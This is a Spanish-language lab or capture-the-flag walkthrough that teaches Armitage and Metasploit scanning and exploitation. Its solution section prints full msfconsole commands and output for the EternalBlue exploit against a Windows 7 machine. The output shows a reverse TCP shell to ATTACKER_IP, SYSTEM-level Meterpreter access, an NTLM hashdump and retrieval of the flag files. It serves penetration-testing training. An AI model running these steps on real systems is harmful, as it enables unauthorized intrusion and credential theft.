Mismo Exploit
Enumeración de Hosts con Armitage
Antes de mandarte por ti mismo, vamos a demostrar cómo explotar una máquina virtual de ejemplo. Primero, ejecutaremos un escaneo de puertos en Armitage yendo a la sección "Hosts", haciendo hovering sobre "Nmap Scan" y seleccionando "Quick Scan".

Después de seleccionar "Quick Scan", una nueva opción saldrá. Esta te pedirá introducir la dirección IP que deseas escanear.

Después de presionar "Ok" y esperar un momento, deberías ver una nueva pestaña que se abre llamada "nmap" y una nueva máquina se muestra en la pestaña "Workspace". En la pestaña "nmap" verás los resultados del escaneo.

Ahora que has aprendido a ejecutar escaneo de puertos básico, intenta ejecutar varios escaneos contra el obetivo y mira la información adicional que recibes del host.
Explotación con Armitage
Ahora, vamos a mostrar el proceso de explotación con Armitage; nuestra víctima es en nuestro ejemplo una máquina Windows 7. Esta máquina e vulnerable a el exploit clásico "Eternal Blue". Para encontrar esto, noe enfocaremos en la parte de la derecha de la pestaña con carpetas, expandiremos "Exploit", luego "Windows", luego "SMB" y ahí verás los exploits.

Después podemos hacer doble click en el exploit que queramos explotar o arrastrarlo al host que queramos, y una nueva pestaña se abrirá. Haciendo click en "launch" lanzará el ataque.

Después de hacer click en "Launch", notarás que se abre una nueva pestaña "Exploit". Armitage ejecutará todas las comprobaciones normales que Metasploit suele hacer. En el caso de Eternal Blue, corre los scripts de comprobación estándar seguidos de los scripts de exploit hasta que consigue una shell exitosa.

Después de recibir la shell, haz click derecho en el host y selecciona "Interact". Esto se abrirá como una shell estándar con la que ya estás familiarizado. Para obtener la shell de Meterpreter, recomendamos que ejecutes el módulo multi/manage/shell_to_meterpreter.

Hora de Practicar
Ahora que has aprendido cómo explotar hosts usando Armitage, practicarás tus habilidades hackeando la máquina virtual con Metasploit y Armitage. Hay múltiples exploits que puedes seguir.
Solución
Lanza Metasploit y usa Eternal Blue.
root@attackbox$ msfconsole -q msf5 > use exploit/windows/smb/ms17_010_eternalblue [*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST eth0 LHOST => eth0 msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOST VICTIM_IP RHOST => VICTIM_IP msf5 exploit(windows/smb/ms17_010_eternalblue) > run [*] Started reverse TCP handler on ATTACKER_IP:4444 [*] VICTIM_IP:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check [+] VICTIM_IP:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Home Basic 7600 x64 (64-bit) [*] VICTIM_IP:445 - Scanned 1 of 1 hosts (100% complete) [*] VICTIM_IP:445 - Connecting to target for exploitation. [+] VICTIM_IP:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] VICTIM_IP:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] VICTIM_IP:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
Con el nivel de acceso de sistema, podemos usar el comando hashdump para recuperar los hashes NTLM de los usuarios.
meterpreter > hashdump Administrator:500:aad3b435b51404eeaad3b435b51404ee:c156d5d<snip!>4d6e0943c::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae93<snip!>d7e0c089c0::: Ted:1001:aad3b435b51404eeaad3b435b51404ee:2e2618f266da8867<snip!>5c1309a5c::: meterpreter >

Y ahora recuperamos la flags.
meterpreter > cat C:/Users/Administrator/Desktop/root.txt THM{bd6ea6c87<snip!>21081132744} meterpreter > cat C:/Users/Ted/Desktop/user.txt THM{217fa45e3<snip!>fc0be28e760}

